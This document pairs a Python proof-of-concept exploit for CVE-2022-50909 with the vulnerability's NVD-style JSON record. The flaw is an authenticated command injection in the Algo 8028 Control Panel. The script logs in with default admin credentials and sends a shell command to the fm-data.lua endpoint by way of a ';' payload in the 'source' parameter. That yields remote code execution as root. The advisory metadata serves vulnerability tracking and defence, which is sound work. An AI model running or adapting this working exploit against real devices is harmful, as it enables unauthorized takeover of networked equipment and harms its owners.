CVE-2022-50909

#!/usr/bin/env python3 # CVE-2022-50909 PoC - Algo 8028 Control Panel Command Injection # Authenticated RCE via fm-data.lua 'source' parameter import requests import sys TARGET = "http://target:8080" USERNAME = "admin" PASSWORD = "admin" def exploit(target, session, cmd): """Execute command via vulnerable source parameter""" endpoint = f"{target}/fm-data.lua" data = { "source": f"; {cmd}", # Command injection payload "action": "getdata" } try: response = session.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def main(): session = requests.Session() # Login to obtain authenticated session login_url = f"{TARGET}/login.lua" login_data = {"username": USERNAME, "password": PASSWORD} session.post(login_url, data=login_data) # Execute command via vulnerable parameter cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami" result = exploit(TARGET, session, cmd) print(result) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2022-50909", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:53.810", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Algo 8028 Control Panel version 3.3.3 contains a command injection vulnerability in the fm-data.lua endpoint that allows authenticated attackers to execute arbitrary commands. Attackers can exploit the insecure 'source' parameter by injecting commands that are executed with root privileges, enabling remote code execution through a crafted POST request."}, {"lang": "es", "value": "El Panel de Control Algo 8028 versión 3.3.3 contiene una vulnerabilidad de inyección de comandos en el endpoint fm-data.lua que permite a atacantes autenticados ejecutar comandos arbitrarios. Los atacantes pueden explotar el parámetro 'source' inseguro inyectando comandos que se ejecutan con privilegios de root, lo que permite la ejecución remota de código a través de una solicitud POST manipulada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.algosolutions.com/", "source": "[email protected]"}, {"url": "https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50960", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/algo-control-panel-remote-code-execution-rce-authenticated", "source": "[email protected]"}]}}